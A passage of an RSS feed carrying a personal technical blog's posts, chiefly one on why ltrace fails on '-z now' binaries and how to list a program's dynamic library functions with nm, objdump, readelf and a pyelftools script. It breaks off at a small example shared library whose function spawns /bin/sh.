&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ uftrace --force -a ./hello&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Hello world!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;# DURATION     TID     FUNCTION&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; 187.291 us [ 40352] | puts(&quot;Hello world!&quot;) = 13;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;How amazing is that!! By the way, the &lt;code&gt;--force&lt;/code&gt; flag is required for it to work on standard binaries that doesn’t have any debugging information embedded within, and the &lt;code&gt;-a&lt;/code&gt; argument makes it detect arguments to the function calls it intercepts.&lt;/p&gt;
&lt;p&gt;Hope this short post was useful to you. I’ll be back with a post on code injection using dynamic libraries soon, so keep posted.&lt;/p&gt;
</content:encoded></item><item><title>Listing External Functions Used// Exported by Executables and Shared Libraries</title><link>https://sumit-ghosh.com/posts/list-external-functions-used-exported-executables-shared-libraries/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/list-external-functions-used-exported-executables-shared-libraries/</guid><description>Listing External Functions Used// Exported by Executables and Shared Libraries — by Sumit Ghosh.</description><pubDate>Thu, 30 Apr 2020 18:30:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;ltrace-and-its-incompetence&quot;&gt;ltrace and its incompetence&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.ltrace.org/&quot;&gt;ltrace&lt;/a&gt; is a program that intercepts and records the dynamic library calls which are called by an executed process. Although it’s not a part of the POSIX standard, it’s usually included in every Linux installation.&lt;/p&gt;
&lt;p&gt;In my Ubuntu 19.10 system, I noticed that ltrace couldn’t intercept &lt;em&gt;any&lt;/em&gt; library calls when it was used on the bundled system programs, such as &lt;code&gt;ls&lt;/code&gt; and &lt;code&gt;cat&lt;/code&gt;. For example,&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ ltrace ls&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;[... usual output of ls]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;+++ exited (status 0) +++&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It also wasn’t working on programs I compiled myself. Clearly, something was wrong; Stack Overflow was one source of clarity, specifically &lt;a href=&quot;https://stackoverflow.com/questions/43213505/no-output-when-running-ltrace&quot;&gt;this question&lt;/a&gt;. As it is clear from the linked discussion, ltrace doesn’t work on binaries linked with the &lt;code&gt;-z now&lt;/code&gt; option, It only works on binaries linked with &lt;code&gt;-z lazy&lt;/code&gt;. It isn’t clear if// when the devs are going to fix this, so we have to find some workarounds in the meanwhile.&lt;/p&gt;
&lt;p&gt;To that end, I’ve been looking for alternatives to ltrace, albeit unsuccessfully. If you know one, please let me know in the comments, or write an email to me.&lt;/p&gt;
&lt;p&gt;For now, we’ll take an alternate route. Instead of hijacking library calls as they happen, we’ll inspect the elf binary and look for external symbols it has referred to. All library functions are listed as external symbols in an elf binary, so that way we’ll get an exhaustive list of all the functions it &lt;em&gt;could&lt;/em&gt; call, theoretically. We won’t get the debugging capability of ltrace to its full extent, as we won’t be able to see the function calls &lt;em&gt;as they happen&lt;/em&gt; in real-time, nor will we be able to see the function arguments. But, beggars can’t be choosers.&lt;/p&gt;
&lt;h2 id=&quot;listing-symbols-in-an-elf-executable&quot;&gt;Listing symbols in an elf executable&lt;/h2&gt;
&lt;p&gt;This section is an expansion on &lt;a href=&quot;https://stackoverflow.com/questions/34732/how-do-i-list-the-symbols-in-a-so-file&quot;&gt;this&lt;/a&gt; Stack Overflow discussion.&lt;/p&gt;
&lt;p&gt;We’ll be using the following C program for testing.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;c&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &amp;lt;time.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; main&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt; argc&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;[]&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;    srand&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;NULL&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;    printf&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;%d\n&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;rand&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;());&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Pretty simple program, just prints out a random integer.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ gcc random.c -o random&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ ./random&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;701758836&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now let’s see how we can list the external library functions it’s using.&lt;/p&gt;
&lt;h3 id=&quot;using-nm&quot;&gt;Using nm&lt;/h3&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ nm -gDC random&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;                 w __cxa_finalize&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;                 w __gmon_start__&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;                 w _ITM_deregisterTMCloneTable&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;                 w _ITM_registerTMCloneTable&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;                 U __libc_start_main&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;                 U printf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;                 U rand&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;                 U srand&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;                 U time&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Flags :: &lt;code&gt;g&lt;/code&gt; for external symbols, &lt;code&gt;D&lt;/code&gt; for dynamic symbols, and &lt;code&gt;C&lt;/code&gt; for demangling C++ symbols.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;using-objdump&quot;&gt;Using objdump&lt;/h3&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ objdump -TC random&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;random:     file format elf64-x86-64&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;DYNAMIC SYMBOL TABLE:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0000000000000000  w   D  *UND*    0000000000000000              _ITM_deregisterTMCloneTable&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0000000000000000      DF *UND*    0000000000000000  GLIBC_2.2.5 printf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0000000000000000      DF *UND*    0000000000000000  GLIBC_2.2.5 __libc_start_main&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0000000000000000      DF *UND*    0000000000000000  GLIBC_2.2.5 srand&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0000000000000000  w   D  *UND*    0000000000000000              __gmon_start__&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0000000000000000      DF *UND*    0000000000000000  GLIBC_2.2.5 time&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0000000000000000  w   D  *UND*    0000000000000000              _ITM_registerTMCloneTable&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0000000000000000      DF *UND*    0000000000000000  GLIBC_2.2.5 rand&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0000000000000000  w   DF *UND*    0000000000000000  GLIBC_2.2.5 __cxa_finalize&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Flags :: &lt;code&gt;T&lt;/code&gt; for dynamic symbols, and &lt;code&gt;C&lt;/code&gt; for demangling C++ symbols.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;using-readelf&quot;&gt;Using readelf&lt;/h3&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ readelf --dyn-syms random&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Symbol table &apos;.dynsym&apos; contains 10 entries:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;   Num:    Value          Size Type    Bind   Vis      Ndx Name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     1: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_deregisterTMCloneTab&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND printf@GLIBC_2.2.5 (2)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND srand@GLIBC_2.2.5 (2)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     5: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND time@GLIBC_2.2.5 (2)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     7: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND _ITM_registerTMCloneTable&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND rand@GLIBC_2.2.5 (2)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     9: 0000000000000000     0 FUNC    WEAK   DEFAULT  UND __cxa_finalize@GLIBC_2.2.5 (2)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Flags :: &lt;code&gt;--dym-syms&lt;/code&gt; for dynamic symbols.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All of the above do the same task, more or less: they dump the externally visible dynamic symbols located in the &lt;code&gt;.dynsym&lt;/code&gt; section of the symbol table in the elf file. As you can see, they have varying levels of verbosity; &lt;code&gt;readelf&lt;/code&gt; is the most verbose of them all, it displays all the attributes of the symbols in a tabular manner.&lt;/p&gt;
&lt;h3 id=&quot;picking-out-the-global-function-symbols&quot;&gt;Picking out the global function symbols&lt;/h3&gt;
&lt;p&gt;Looking at the symbol names in the &lt;code&gt;readelf&lt;/code&gt; output, you could suspect that not all of them are library functions, and you’d be right. Only the symbols with type &lt;code&gt;FUNC&lt;/code&gt; and bind &lt;code&gt;GLOBAL&lt;/code&gt;, i.e. global functions, are external library functions. You can pick them out manually, or you can use a python script I’ve written, &lt;a href=&quot;https://github.com/SkullTech/dynfuncs.py&quot;&gt;&lt;code&gt;dynfuncs.py&lt;/code&gt;&lt;/a&gt; that does it for you.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ python3 dynfuncs.py random&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Symbol table &apos;.dynsym&apos; contains 5 global functions:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;   Num: Name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     0: printf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     1: __libc_start_main&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     2: srand&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     3: time&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;     4: rand&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This script uses &lt;a href=&quot;https://github.com/eliben/pyelftools&quot;&gt;&lt;code&gt;pyelftools&lt;/code&gt;&lt;/a&gt; to parse the elf file and then pick out the symbols, it doesn’t rely on any of the previously mentioned commands.&lt;/p&gt;
&lt;p&gt;Either way, you get a list of symbols, which are global// externally visible functions, which for an executable binary means dynamically linked library functions. And it does correctly list all 4 library functions we’ve used in our &lt;code&gt;random.c&lt;/code&gt; program.&lt;/p&gt;
&lt;h2 id=&quot;inspecting-shared-libraries&quot;&gt;Inspecting Shared Libraries&lt;/h2&gt;
&lt;p&gt;Note that we can use the above commands and script not only for elf executables but for elf shared libraries, i.e. &lt;code&gt;.so&lt;/code&gt; files too. In that case, it’ll also list functions and symbols &lt;em&gt;exported&lt;/em&gt; by the shared library, along with the external library functions &lt;em&gt;used&lt;/em&gt; by the shared library. The following example illustrates this.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;c&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; shell&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;	char&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;[]&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;/bin/sh&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;	execve&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;], &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;], &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;NULL&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
